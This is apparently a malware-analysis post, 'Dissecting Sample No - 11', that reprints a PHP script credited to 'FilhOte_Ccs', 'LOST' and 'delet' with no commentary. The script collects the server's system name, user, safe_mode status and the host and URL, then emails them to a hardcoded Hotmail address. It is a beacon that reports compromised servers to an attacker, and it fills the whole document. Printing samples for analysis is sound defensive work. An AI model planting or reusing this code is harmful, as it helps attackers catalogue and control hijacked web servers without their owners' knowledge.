Dissecting Sample No - 11

//=================================
//
// scan inb0x hotmail v3.0
//
// coded by FilhOte_Ccs and LOST
// re-c0d3d by delet
//
//
//=================================
//
ini_set("max_execution_time",-1);
set_time_limit(0);
$user = @get_current_user();
$UNAME = @php_uname();
$SafeMode = @ini_get('safe_mode');
if ($SafeMode == '') { $SafeMode = "OFF"; }
else { $SafeMode = " $SafeMode "; }
$delet=($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']);
$dados=("Maquina = " . $UNAME . "
Seguran?a = " . $SafeMode . "
http://" . $delet . "

Muito obrigado: MCTEVEZ");
$email = "s4d4nfiliwer@hotmail.com";
$assunto = "b0x";
$email1 = "s4d4nfiliwer@hotmail.com";
$headers = "From: <$email>\r\n";
$headers = "MIME-Version: 1.0\r\n";
$headers .= "Content-type: text/html; charset=iso-8859-1\r\n";
if(mail($email1,$assunto,$dados,$headers)){
echo "Isso, ja foi!";
exit();
}
else{
echo "N?o foi.";
exit();
}